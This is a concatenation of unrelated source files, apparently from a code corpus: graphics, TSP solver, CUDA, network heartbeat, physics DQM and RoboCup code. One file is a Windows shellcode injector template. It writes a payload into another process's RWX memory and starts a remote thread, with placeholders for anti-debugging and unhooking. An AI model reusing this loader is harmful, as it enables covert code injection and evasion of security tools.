SkTransferFunctionBehavior behavior = canvas->imageInfo().colorSpace() ?
SkTransferFunctionBehavior::kRespect : SkTransferFunctionBehavior::kIgnore;
sk_sp<SkColorSpace> wideGamut = SkColorSpace::MakeRGB(SkColorSpace::kSRGB_RenderTargetGamma,
SkColorSpace::kAdobeRGB_Gamut);
sk_sp<SkColorSpace> wideGamutLinear = as_CSB(wideGamut)->makeLinearGamma();
// Lazy images
sk_sp<SkImage> opaqueImage = GetResourceAsImage("mandrill_128.png");
sk_sp<SkImage> premulImage = GetResourceAsImage("color_wheel.png");
canvas->drawImage(opaqueImage, 0.0f, 0.0f);
canvas->drawImage(make_color_space(opaqueImage, wideGamut, behavior), 128.0f, 0.0f);
canvas->drawImage(make_color_space(opaqueImage, wideGamutLinear, behavior), 256.0f, 0.0f);
canvas->drawImage(premulImage, 0.0f, 128.0f);
canvas->drawImage(make_color_space(premulImage, wideGamut, behavior), 128.0f, 128.0f);
canvas->drawImage(make_color_space(premulImage, wideGamutLinear, behavior), 256.0f, 128.0f);
canvas->translate(0.0f, 256.0f);
// Raster images
opaqueImage = make_raster_image("mandrill_128.png", behavior);
premulImage = make_raster_image("color_wheel.png", behavior);
canvas->drawImage(opaqueImage, 0.0f, 0.0f);
canvas->drawImage(make_color_space(opaqueImage, wideGamut, behavior), 128.0f, 0.0f);
canvas->drawImage(make_color_space(opaqueImage, wideGamutLinear, behavior), 256.0f, 0.0f);
canvas->drawImage(premulImage, 0.0f, 128.0f);
canvas->drawImage(make_color_space(premulImage, wideGamut, behavior), 128.0f, 128.0f);
canvas->drawImage(make_color_space(premulImage, wideGamutLinear, behavior), 256.0f, 128.0f);
}
private:
typedef skiagm::GM INHERITED;
};
DEF_GM(return new MakeCSGM;)
| 3,616 | 1,278 |
#include "./INCLUDE/Segment.h"
#include "./INCLUDE/LKH.h"
/* The Improvement function is used to check whether a done move
* has improved the current best tour.
* If the tour has been improved, the function computes the penalty gain
* and returns 1. Otherwise, the move is undone, and the function returns 0.
*/
int LKH::LKHAlg::Improvement(GainType * Gain, Node * t1, Node * SUCt1)
{
GainType NewPenalty;
if (!Penalty) {
if (*Gain > 0)
return 1;
RestoreTour();
if (SUC(t1) != SUCt1)
Reversed ^= 1;
*Gain = PenaltyGain = 0;
return 0;
}
CurrentGain = *Gain;
NewPenalty = (this->*Penalty)();
if (NewPenalty <= CurrentPenalty) {
if (TSPTW_Makespan)
*Gain =
(TSPTW_CurrentMakespanCost -
TSPTW_MakespanCost()) * Precision;
if (NewPenalty < CurrentPenalty || *Gain > 0) {
PenaltyGain = CurrentPenalty - NewPenalty;
return 1;
}
}
RestoreTour();
if (SUC(t1) != SUCt1)
Reversed ^= 1;
*Gain = PenaltyGain = 0;
return 0;
}
| 1,129 | 421 |
#ifndef KERNELS_BACKEND_CUDA_IMAGE_HPP
#define KERNELS_BACKEND_CUDA_IMAGE_HPP
#include "kernels/backend/common/image.hpp"
namespace nova {
using image2d_read_t = cudaTextureObject_t;
using image2d_write_t = cudaSurfaceObject_t;
using image2d_array_read_t = cudaTextureObject_t;
template <typename W, AddressMode A = AddressMode::CLAMP>
__device__ constexpr W read_image(image2d_read_t image, const int2& coords) {
return tex2D<W>(image, coords.x, coords.y);
}
template <typename W, AddressMode A = AddressMode::CLAMP>
__device__ constexpr W read_image(image2d_read_t image, const float2& coords) {
return tex2D<W>(image, coords.x, coords.y);
}
template <typename W, AddressMode A = AddressMode::CLAMP>
__device__ constexpr W
read_image(image2d_read_t image, const float2& coords, const float2& offset) {
return tex2D<W>(image, coords.x + offset.x, coords.y + offset.y);
}
template <typename W, AddressMode A = AddressMode::CLAMP>
__device__ constexpr W read_image(image2d_array_read_t image, const int2& coords, int index) {
return tex2DLayered<W>(image, coords.x, coords.y, index);
}
template <typename W, AddressMode A = AddressMode::CLAMP>
__device__ constexpr W read_image(image2d_array_read_t image, const float2& coords, int index) {
return tex2DLayered<W>(image, coords.x, coords.y, index);
}
template <typename U>
__device__ constexpr void write_image(image2d_write_t image, const int2& coords, const U& value) {
surf2Dwrite(value, image, coords.x * sizeof(U), coords.y);
}
}
#endif | 1,513 | 568 |
// Tencent is pleased to support the open source community by making Mars available.
// Copyright (C) 2016 THL A29 Limited, a Tencent company. All rights reserved.
// Licensed under the MIT License (the "License"); you may not use this file except in
// compliance with the License. You may obtain a copy of the License at
// http://opensource.org/licenses/MIT
// Unless required by applicable law or agreed to in writing, software distributed under the License is
// distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
// either express or implied. See the License for the specific language governing permissions and
// limitations under the License.
/*
* smart_heartbeat.cc
*
* description: Manage the heartbeat frequecy by Adaptive Computing for the current active network.
* The purpose is to decrease the heartbeat frequecy when our app in inactive state,
* And meanwhile keep the TCP alive as far as possible.
* Created on: 2014-1-22
* Author: phoenixzuo
*
*/
#include "smart_heartbeat.h"
#include <time.h>
#include <unistd.h>
#include "boost/filesystem.hpp"
#include "mars/comm/time_utils.h"
#include "mars/comm/xlogger/xlogger.h"
#include "mars/comm/singleton.h"
#include "mars/comm/platform_comm.h"
#include "mars/baseevent/active_logic.h"
#include "mars/app/app.h"
#include "mars/stn/config.h"
#include <algorithm>
#define KV_KEY_SMARTHEART 11249
static const std::string kFileName = "Heartbeat.ini";
// INI key
static const char* const kKeyModifyTime = "modifyTime";
static const char* const kKeyCurHeart = "curHeart";
static const char* const kKeyFailHeartCount = "failHeartCount";
static const char* const kKeyStable = "stable";
static const char* const kKeyNetType = "netType";
static const char* const kKeyHeartType = "hearttype";
static const char* const kKeyMinHeartFail = "minheartfail";
SmartHeartbeat::SmartHeartbeat(): report_smart_heart_(NULL), is_wait_heart_response_(false), success_heart_count_(0), last_heart_(MinHeartInterval),
pre_heart_(MinHeartInterval), cur_heart_(MinHeartInterval),
ini_(mars::app::GetAppFilePath() + "/" + kFileName, false)
, doze_mode_count_(0), normal_mode_count_(0), noop_start_tick_(false) {
xinfo_function();
ini_.Parse();
}
SmartHeartbeat::~SmartHeartbeat() {
xinfo_function();
__SaveINI();
}
void SmartHeartbeat::OnHeartbeatStart() {
xverbose_function();
noop_start_tick_.gettickcount();
is_wait_heart_response_ = true;
}
void SmartHeartbeat::OnLongLinkEstablished() {
xdebug_function();
__LoadINI();
success_heart_count_ = 0;
pre_heart_ = cur_heart_ = MinHeartInterval;
}
void SmartHeartbeat::OnLongLinkDisconnect() {
xinfo_function();
OnHeartResult(false, false);
current_net_heart_info_.succ_heart_count_ = 0;
if (!current_net_heart_info_.is_stable_) {
xinfo2(TSF"%0 not stable last heart:%1", current_net_heart_info_.net_detail_, current_net_heart_info_.cur_heart_);
return;
}
last_heart_ = MinHeartInterval;
}
#define ONE_DAY_SECONEDS (24 * 60 * 60)
void SmartHeartbeat::OnHeartResult(bool _sucess, bool _fail_of_timeout) {
if(!is_wait_heart_response_)
return;
if(report_smart_heart_&& !_sucess && success_heart_count_ >=NetStableTestCount && current_net_heart_info_.is_stable_) {
report_smart_heart_(kActionDisconnect, current_net_heart_info_, _fail_of_timeout);
}
xinfo2(TSF"heart result:%0, timeout:%1", _sucess, _fail_of_timeout);
pre_heart_ = cur_heart_;
cur_heart_ = last_heart_;
is_wait_heart_response_ = false;
xassert2(!current_net_heart_info_.net_detail_.empty(), "something wrong,net_detail_ shoudn't be NULL");
if (current_net_heart_info_.net_detail_.empty()) return;
if(_sucess) success_heart_count_ += 1;
if (success_heart_count_ <= NetStableTestCount) {
current_net_heart_info_.min_heart_fail_count_ = _sucess ? 0 : (current_net_heart_info_.min_heart_fail_count_ + 1);
if(report_smart_heart_ && current_net_heart_info_.min_heart_fail_count_ >= 6 && ::isNetworkConnected()) {
report_smart_heart_(kActionBadNetwork, current_net_heart_info_, false);
current_net_heart_info_.min_heart_fail_count_ = 0;
}
return;
}
if (last_heart_ != current_net_heart_info_.cur_heart_) {
xdebug2(TSF"last heart & cur_heart not match, ignore");
return;
}
if(_sucess) {
if (last_heart_ == pre_heart_) {
current_net_heart_info_.succ_heart_count_ += 1;
current_net_heart_info_.fail_heart_count_ = 0;
}
}
else {
if(_fail_of_timeout) {
current_net_heart_info_.succ_heart_count_ = 0;
}
current_net_heart_info_.fail_heart_count_ += 1;
}
if (_sucess && current_net_heart_info_.is_stable_) {
// has reach the Max value, no need to try bigger.
if (current_net_heart_info_.cur_heart_ >= MaxHeartInterval - SuccessStep) return;
time_t cur_time = time(NULL);
// heart info changed recently,Don't need probe
// probe bigger heart on Wednesday
if ((cur_time - current_net_heart_info_.last_modify_time_) >= 7*ONE_DAY_SECONEDS && current_net_heart_info_.cur_heart_ < (MaxHeartInterval - SuccessStep)) {
xinfo2(TSF"tryProbeBiggerHeart. curHeart=%_, last modify:%_", current_net_heart_info_.cur_heart_, current_net_heart_info_.last_modify_time_);
current_net_heart_info_.cur_heart_ += SuccessStep;
current_net_heart_info_.succ_heart_count_ = 0;
current_net_heart_info_.is_stable_ = false;
current_net_heart_info_.fail_heart_count_ = 0;
if(report_smart_heart_)
report_smart_heart_(kActionReCalc, current_net_heart_info_, false);
__SaveINI();
}
return;
}
if (_sucess) {
if(current_net_heart_info_.succ_heart_count_ >= BaseSuccCount) {
if (current_net_heart_info_.cur_heart_ >= (MaxHeartInterval - SuccessStep)) {
//already max, make stable
current_net_heart_info_.cur_heart_ = MaxHeartInterval - SuccessStep;
current_net_heart_info_.succ_heart_count_ = 0;
current_net_heart_info_.is_stable_ = true;
current_net_heart_info_.heart_type_ = __IsDozeStyle() ? kDozeModeHeart : kSmartHeartBeat;
xinfo2(TSF"%0 find the smart heart interval = %1", current_net_heart_info_.net_detail_, current_net_heart_info_.cur_heart_);
if(report_smart_heart_)
report_smart_heart_(kActionCalcEnd, current_net_heart_info_, false);
} else {
current_net_heart_info_.succ_heart_count_ = 0;
unsigned int old_heart = current_net_heart_info_.cur_heart_;
if(__IsDozeStyle()) {
current_net_heart_info_.cur_heart_ = MaxHeartInterval - SuccessStep;
} else {
current_net_heart_info_.cur_heart_ += HeartStep;
current_net_heart_info_.cur_heart_ = std::min((unsigned int)(MaxHeartInterval - SuccessStep), current_net_heart_info_.cur_heart_);
}
xinfo2(TSF"increace curHeart from %_ to %_", old_heart, current_net_heart_info_.cur_heart_);
}
}
} else {
if (last_heart_ == MinHeartInterval) return;
if (current_net_heart_info_.fail_heart_count_ >= MaxHeartFailCount) {
if (current_net_heart_info_.is_stable_) {
current_net_heart_info_.cur_heart_ = MinHeartInterval;
current_net_heart_info_.succ_heart_count_ = 0;
current_net_heart_info_.is_stable_ = false;
if(report_smart_heart_)
report_smart_heart_(kActionReCalc, current_net_heart_info_, true);
//first report, then set fail count
current_net_heart_info_.fail_heart_count_ = 0;
xinfo2(TSF"in stable sate,can't use old value to Keep TCP alive");
} else {
if(__IsDozeStyle()) {
current_net_heart_info_.cur_heart_ = MinHeartInterval;
} else if ((current_net_heart_info_.cur_heart_ - HeartStep - SuccessStep) > MinHeartInterval) {
current_net_heart_info_.cur_heart_ = current_net_heart_info_.cur_heart_ - HeartStep - SuccessStep;
} else {
current_net_heart_info_.cur_heart_ = MinHeartInterval;
}
current_net_heart_info_.succ_heart_count_ = 0;
current_net_heart_info_.fail_heart_count_ = 0;
current_net_heart_info_.is_stable_ = true;
current_net_heart_info_.heart_type_ = __IsDozeStyle() ? kDozeModeHeart : kSmartHeartBeat;
xinfo2(TSF"finish choose the proper value %0", current_net_heart_info_.cur_heart_);
if(report_smart_heart_)
report_smart_heart_(kActionCalcEnd, current_net_heart_info_, false);
}
}
}
__DumpHeartInfo();
__SaveINI();
}
#define MAX_JUDGE_TIMES (10)
void SmartHeartbeat::JudgeDozeStyle() {
if(ActiveLogic::Instance()->IsActive()) return;
if(!noop_start_tick_.isValid()) return;
if(kMobile != ::getNetInfo()) return;
if(std::abs(noop_start_tick_.gettickspan() - last_heart_) >= 20*1000) {
doze_mode_count_++;
normal_mode_count_ = std::max(normal_mode_count_-1, 0);
} else {
normal_mode_count_++;
doze_mode_count_ = std::max(doze_mode_count_-1, 0);
}
noop_start_tick_ = tickcount_t(false);
}
bool SmartHeartbeat::__IsDozeStyle() {
return doze_mode_count_ >= 2 && doze_mode_count_ > (2*normal_mode_count_);
}
unsigned int SmartHeartbeat::GetNextHeartbeatInterval() { //
// xinfo_function();
if(ActiveLogic::Instance()->IsActive()) {
last_heart_ = MinHeartInterval;
return MinHeartInterval;
}
if (success_heart_count_ < NetStableTestCount || current_net_heart_info_.net_detail_.empty()) {
// xdebug2(TSF"getNextHeartbeatInterval use MinHeartInterval. success_heart_count_=%0",success_heart_count_);
last_heart_ = MinHeartInterval;
return MinHeartInterval;
}
last_heart_ = current_net_heart_info_.cur_heart_;
xassert2((last_heart_ < MaxHeartInterval && last_heart_ >= MinHeartInterval), "heart value invalid");
if(__IsDozeStyle() && current_net_heart_info_.heart_type_ != kDozeModeHeart && last_heart_ != (MaxHeartInterval - SuccessStep)) {
current_net_heart_info_.cur_heart_ = last_heart_ = MinHeartInterval;
}
if(last_heart_ >= MaxHeartInterval || last_heart_ < MinHeartInterval) {
current_net_heart_info_.cur_heart_ = last_heart_ = MinHeartInterval;
}
return last_heart_;
}
void SmartHeartbeat::__LoadINI() {
xinfo_function();
std::string net_info;
int net_type = getCurrNetLabel(net_info);
if (net_info.empty()) {
current_net_heart_info_.Clear();
xerror2("net_info NULL");
return;
}
if (net_info == current_net_heart_info_.net_detail_) return;
current_net_heart_info_.Clear();
current_net_heart_info_.net_detail_ = net_info;
current_net_heart_info_.net_type_ = net_type;
if (ini_.Select(net_info)) {
current_net_heart_info_.last_modify_time_ = ini_.Get(kKeyModifyTime, current_net_heart_info_.last_modify_time_);
current_net_heart_info_.cur_heart_ = ini_.Get(kKeyCurHeart, current_net_heart_info_.cur_heart_);
current_net_heart_info_.fail_heart_count_ = ini_.Get(kKeyFailHeartCount, current_net_heart_info_.fail_heart_count_);
current_net_heart_info_.is_stable_ = ini_.Get(kKeyStable, current_net_heart_info_.is_stable_);
current_net_heart_info_.net_type_ = ini_.Get(kKeyNetType, current_net_heart_info_.net_type_);
current_net_heart_info_.heart_type_ = (TSmartHeartBeatType)ini_.Get(kKeyHeartType, 0);
current_net_heart_info_.min_heart_fail_count_ = ini_.Get(kKeyMinHeartFail, 0);
xassert2(net_type == current_net_heart_info_.net_type_, "cur:%d, INI:%d", net_type, current_net_heart_info_.net_type_);
if (current_net_heart_info_.cur_heart_ < MinHeartInterval) {
xerror2(TSF"current_net_heart_info_.cur_heart_:%_ < MinHeartInterval:%_", current_net_heart_info_.cur_heart_, MinHeartInterval);
current_net_heart_info_.cur_heart_ = MinHeartInterval;
}
if (current_net_heart_info_.cur_heart_ > MaxHeartInterval) {
xerror2(TSF"current_net_heart_info_.cur_heart_:%_ > MaxHeartInterval:%_", current_net_heart_info_.cur_heart_, MaxHeartInterval);
current_net_heart_info_.cur_heart_ = MaxHeartInterval - SuccessStep;
}
time_t cur_time = time(NULL);
if (current_net_heart_info_.last_modify_time_ > cur_time) {
xerror2(TSF"current_net_heart_info_.last_modify_time_:%_ > cur_time:%_", current_net_heart_info_.last_modify_time_, cur_time);
current_net_heart_info_.last_modify_time_ = cur_time;
}
} else {
__LimitINISize();
bool ret = ini_.Create(net_info);
xassert2(ret);
__SaveINI();
}
__DumpHeartInfo();
}
#define MAX_INI_SECTIONS (20)
void SmartHeartbeat::__LimitINISize() {
xinfo_function();
SpecialINI::sections_t& sections = ini_.Sections();
if (ini_.Sections().size() <= MAX_INI_SECTIONS)
return;
xwarn2(TSF"sections.size=%0 > MAX_INI_SECTIONS=%1", sections.size(), MAX_INI_SECTIONS);
time_t cur_time = time(NULL);
time_t min_time = 0;
SpecialINI::sections_t::iterator min_iter = sections.end();
for (SpecialINI::sections_t::iterator iter = sections.begin(); iter != sections.end();) {
SpecialINI::keys_t::iterator time_iter = iter->second.find(kKeyModifyTime);
if (time_iter == iter->second.end()) {
// remove dirty value
sections.erase(iter++);
xinfo2(TSF"remove dirty value because miss KEY_ModifyTime");
continue;
}
time_t time_value = number_cast<time_t>(time_iter->second.c_str());
if (time_value > cur_time) {
// remove dirty value
sections.erase(iter++);
xinfo2(TSF"remove dirty value because Wrong ModifyTime ");
continue;
}
if (0 == min_time || time_value < min_time) {
min_iter = iter;
min_time = time_value;
}
++iter;
}
if (min_iter != sections.end()) sections.erase(min_iter);
}
void SmartHeartbeat::__SaveINI() {
xdebug_function();
if(current_net_heart_info_.net_detail_.empty())return;
current_net_heart_info_.last_modify_time_ = time(NULL);
ini_.Set<time_t>(kKeyModifyTime, current_net_heart_info_.last_modify_time_);
ini_.Set(kKeyCurHeart, current_net_heart_info_.cur_heart_);
ini_.Set(kKeyFailHeartCount, current_net_heart_info_.fail_heart_count_);
ini_.Set(kKeyStable, current_net_heart_info_.is_stable_);
ini_.Set(kKeyNetType, current_net_heart_info_.net_type_);
ini_.Set(kKeyHeartType, current_net_heart_info_.heart_type_);
ini_.Set(kKeyMinHeartFail, current_net_heart_info_.min_heart_fail_count_);
ini_.Save();
}
void SmartHeartbeat::__DumpHeartInfo() {
xinfo2(TSF"SmartHeartbeat Info last_heart_:%0,successHeartCount:%1, currSuccCount:%2", last_heart_, success_heart_count_, current_net_heart_info_.succ_heart_count_);
if (!current_net_heart_info_.net_detail_.empty()) {
xinfo2(TSF"currentNetHeartInfo detail:%0,curHeart:%1,isStable:%2,failcount:%3,modifyTime:%4,type:%5,min_fail:%6",
current_net_heart_info_.net_detail_, current_net_heart_info_.cur_heart_, current_net_heart_info_.is_stable_,
current_net_heart_info_.fail_heart_count_, current_net_heart_info_.last_modify_time_
,(int)current_net_heart_info_.heart_type_, current_net_heart_info_.min_heart_fail_count_);
}
}
// #pragma endregion
// #pragma region NetHeartbeatInfo
NetHeartbeatInfo::NetHeartbeatInfo() {
Clear();
}
void NetHeartbeatInfo::Clear() {
net_detail_ = "";
net_type_ = kNoNet;
last_modify_time_ = 0;
cur_heart_ = MinHeartInterval;
succ_heart_count_ = fail_heart_count_ = min_heart_fail_count_ = 0;
heart_type_ = kNoSmartHeartBeat;
is_stable_ = false;
}
| 16,690 | 5,650 |
#include "DQM/EcalCommon/interface/MESetMulti.h"
namespace ecaldqm
{
MESetMulti::MESetMulti(MESet const& _seed, ReplCandidates const& _replCandidates) :
MESet(_seed),
current_(0),
sets_(),
replCandidates_(_replCandidates)
{
PathReplacements replacements;
std::map<std::string, unsigned> indices;
// recursive function to set replacements
// indices gives the multi index in each dimension
// dimensions are alphanumerically ordered from the use of std::map
std::function<bool(typename ReplCandidates::const_iterator&)> setReplacements([&setReplacements, &replacements, &indices, this](typename ReplCandidates::const_iterator& _rItr){
unsigned& index(indices[_rItr->first]);
replacements[_rItr->first] = _rItr->second[index];
// one dimension set, go to next
++_rItr;
if(_rItr == this->replCandidates_.end()){
// this is the last dimension. Increment the index and retutn to the first
_rItr = this->replCandidates_.begin();
++index;
}
else if(setReplacements(_rItr))
++index;
if(index != _rItr->second.size()) return false;
// index has counted to the maximum of this dimension, carry over
index = 0;
return true;
});
// [dim0 = 0, dim1 = 0] -> 0, [dim0 = 0, dim1 = 1] -> 1, ...
unsigned iM(0);
while(true){
replacements.clear();
typename ReplCandidates::const_iterator rItr(replCandidates_.begin());
bool last(setReplacements(rItr));
sets_.push_back(_seed.clone(formPath(replacements)));
if(last) break;
++iM;
}
current_ = sets_[0];
}
MESetMulti::MESetMulti(MESetMulti const& _orig) :
MESet(_orig),
current_(0),
sets_(_orig.sets_.size(), 0),
replCandidates_(_orig.replCandidates_)
{
if(sets_.size() == 0) return;
for(unsigned iS(0); iS < sets_.size(); ++iS){
if(!_orig.sets_[iS]) continue;
sets_[iS] = _orig.sets_[iS]->clone();
if(_orig.sets_[iS] == _orig.current_) current_ = sets_[iS];
}
}
MESetMulti::~MESetMulti()
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
delete sets_[iS];
}
MESet&
MESetMulti::operator=(MESet const& _rhs)
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
delete sets_[iS];
sets_.clear();
current_ = 0;
MESetMulti const* pRhs(dynamic_cast<MESetMulti const*>(&_rhs));
if(pRhs){
sets_.assign(pRhs->sets_.size(), 0);
for(unsigned iS(0); iS < pRhs->sets_.size(); ++iS){
sets_[iS] = pRhs->sets_[iS]->clone();
if(pRhs->sets_[iS] == pRhs->current_) current_ = sets_[iS];
}
replCandidates_ = pRhs->replCandidates_;
}
return MESet::operator=(_rhs);
}
MESet*
MESetMulti::clone(std::string const& _path/* = ""*/) const
{
std::string path(path_);
if(_path != "") path_ = _path;
MESet* copy(new MESetMulti(*this));
path_ = path;
return copy;
}
void
MESetMulti::book(DQMStore::IBooker& _ibooker)
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
sets_[iS]->book(_ibooker);
active_ = true;
}
bool
MESetMulti::retrieve(DQMStore::IGetter& _igetter, std::string* _failedPath/* = 0*/) const
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
if(!sets_[iS]->retrieve(_igetter, _failedPath)) return false;
active_ = true;
return true;
}
void
MESetMulti::clear() const
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
sets_[iS]->clear();
active_ = false;
}
void
MESetMulti::reset(double _content/* = 0*/, double _error/* = 0.*/, double _entries/* = 0.*/)
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
sets_[iS]->reset(_content, _error, _entries);
}
void
MESetMulti::resetAll(double _content/* = 0*/, double _error/* = 0.*/, double _entries/* = 0.*/)
{
for(unsigned iS(0); iS < sets_.size(); ++iS)
sets_[iS]->resetAll(_content, _error, _entries);
}
void
MESetMulti::use(unsigned _iSet) const
{
if(_iSet >= sets_.size())
throw_("MESetMulti index out of range");
current_ = sets_[_iSet];
}
unsigned
MESetMulti::getIndex(PathReplacements const& _replacements) const
{
unsigned index(0);
unsigned base(1);
for(typename ReplCandidates::const_reverse_iterator cItr(replCandidates_.rbegin()); cItr != replCandidates_.rend(); ++cItr){
typename PathReplacements::const_iterator rItr(_replacements.find(cItr->first));
if(rItr == _replacements.end())
throw_(cItr->first + " not given in the key for getIndex");
unsigned nC(cItr->second.size());
unsigned iR(0);
for(; iR != nC; ++iR)
if(rItr->second == cItr->second[iR]) break;
if(iR == nC)
throw_(rItr->second + " not found in replacement candidates");
index += iR * base;
base *= nC;
}
return index;
}
}
| 4,904 | 1,836 |
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
//####USING####
#pragma comment(lib, "ntdll")
//####DEFINE####
//####CODE####
int Inject(int pid)
{
const unsigned char raw[] = ####SHELLCODE####;
int length = sizeof(raw);
unsigned char* encoded = (unsigned char*)malloc(sizeof(unsigned char) * length * 2);
memcpy(encoded, raw, length);
//####CALL####
unsigned char* decoded = encoded;
unsigned long size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
SIZE_T RegionSize = (SIZE_T)length;
LPVOID allocation_start = nullptr;
NTSTATUS status;
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (targetHandle == 0){
printf("[-] Invalid Target Handle");
exit(1);
}
status = NtAllocateVirtualMemory(targetHandle, &allocation_start, 0, (PSIZE_T)&RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (status < 0){
printf("[-] Memory allocation failed");
exit(1);
}
status = NtWriteVirtualMemory(targetHandle, allocation_start, decoded, length, 0);
if (status < 0){
printf("[-] Memory writing failed");
exit(1);
}
HANDLE targetThreadHandle = NULL;
NtCreateThreadEx(&targetThreadHandle, GENERIC_EXECUTE, NULL, targetHandle, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
if (targetThreadHandle == NULL){
printf("[-] Invalid Thread Handle");
exit(1);
}
return 0;
}
int main(int argc, char** argv) {
//####DELAY####
//####ANTIDEBUG####
//####UNHOOK####
//####ARGS####
int pid = 0;
if (argc < 2) {
printf("[-] Missing PID... Finding...\n");
//####FIND_PROCESS####
}else{
pid = atoi(argv[1]);
}
if (pid == 0){
printf("[-] Process not found\n");
exit(1);
}
Inject(pid);
} | 1,855 | 690 |
// -*-c++-*-
/*!
\file say_message_parser.cpp
\brief player's say message parser Source File
*/
/*
*Copyright:
Copyright (C) Hidehisa AKIYAMA
This code is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 3 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*EndCopyright:
*/
/////////////////////////////////////////////////////////////////////
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include "say_message_parser.h"
#include "audio_codec.h"
#include "audio_memory.h"
#include <rcsc/common/logger.h>
#include <rcsc/common/server_param.h>
#include <rcsc/game_time.h>
#include <cstring>
namespace rcsc {
/*-------------------------------------------------------------------*/
/*!
*/
BallMessageParser::BallMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
BallMessageParser::parse( const int sender ,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "b<pos_vel:5>"
// the length of message == 6
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "***ERROR*** BallMessageParser::parse()"
<< " Illegal ball message [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"BallMessageParser: Illegal ball info [%s]",
msg );
return -1;
}
++msg;
Vector2D ball_pos;
Vector2D ball_vel;
if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, slength() - 1 ),
&ball_pos, &ball_vel ) )
{
std::cerr << "***ERROR*** BallMessageParser::parse()"
<< " Failed to decode ball [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"BallMessageParser: Failed to decode Ball Info [%s]",
msg );
return -1;
}
dlog.addText( Logger::SENSOR,
"BallMessageParser::parse() success! pos(%.1f %.1f) vel(%.1f %.1f)",
ball_pos.x, ball_pos.y,
ball_vel.x, ball_vel.y );
M_memory->setBall( sender, ball_pos, ball_vel, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
PassMessageParser::PassMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
PassMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "p<unum_pos:4><pos_vel:5>"
// the length of message == 10
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "PassMessageParser::parse()"
<< " Illegal pass pass message ["
<< msg << "] len = " << std::strlen( msg )
<< std::endl;
dlog.addText( Logger::SENSOR,
"PassMessageParser Failed to decode Pass Info [%s]",
msg );
return -1;
}
++msg;
int receiver_number = 0;
Vector2D receive_pos;
if ( ! AudioCodec::i().decodeStr4ToUnumPos( std::string( msg, 4 ),
&receiver_number,
&receive_pos ) )
{
std::cerr << "PassMessageParser::parse()"
<< " Failed to parse [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"PassMessageParser: Failed to decode Pass Info [%s]",
msg );
return -1;
}
msg += 4;
Vector2D ball_pos;
Vector2D ball_vel;
if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, 5 ),
&ball_pos, &ball_vel ) )
{
std::cerr << "***ERROR*** PassMessageParser::parse()"
<< " Failed to decode ball [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"PassMessageParser: Failed to decode Ball Info [%s]",
msg );
return -1;
}
msg += 5;
dlog.addText( Logger::SENSOR,
"PassMessageParser::parse() success! receiver %d"
" recv_pos(%.1f %.1f)"
" bpos(%.1f %.1f) bvel(%.1f %.1f)",
receiver_number,
receive_pos.x, receive_pos.y,
ball_pos.x, ball_pos.y,
ball_vel.x, ball_vel.y );
M_memory->setPass( sender, receiver_number, receive_pos, current );
M_memory->setBall( sender, ball_pos, ball_vel, current );
return slength();
}
/*-------------------------------------------------------------------*/
/*!
*/
InterceptMessageParser::InterceptMessageParser( boost::shared_ptr< AudioMemory > memory )
: M_memory( memory )
{
}
/*-------------------------------------------------------------------*/
/*!
*/
int
InterceptMessageParser::parse( const int sender,
const double & ,
const char * msg,
const GameTime & current )
{
// format:
// "i<unum:1><cycle:1>"
// the length of message == 3
if ( *msg != sheader() )
{
return 0;
}
if ( (int)std::strlen( msg ) < slength() )
{
std::cerr << "InterceptMessageParser::parse()"
<< " Illegal message = [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"AudioSensor: Failed to decode intercept info [%s]",
msg );
return -1;
}
++msg;
AudioCodec::CharToIntCont::const_iterator unum_it
= AudioCodec::i().charToIntMap().find( *msg );
if ( unum_it == AudioCodec::i().charToIntMap().end()
|| unum_it->second <= 0
|| MAX_PLAYER*2 < unum_it->second )
{
std::cerr << "InterceptMessageParser::parse() "
<< " Illegal player number. message = [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"InterceptMessageParser: Failed to decode intercept info [%s]",
msg );
return -1;
}
++msg;
AudioCodec::CharToIntCont::const_iterator cycle
= AudioCodec::i().charToIntMap().find( *msg );
if ( cycle == AudioCodec::i().charToIntMap().end() )
{
std::cerr << "InterceptMessageParser::parse() "
<< " Illegal cycle. message = [" << msg << "]"
<< std::endl;
dlog.addText( Logger::SENSOR,
"InterceptMessageParser: Failed to decode intercept info [%s]",
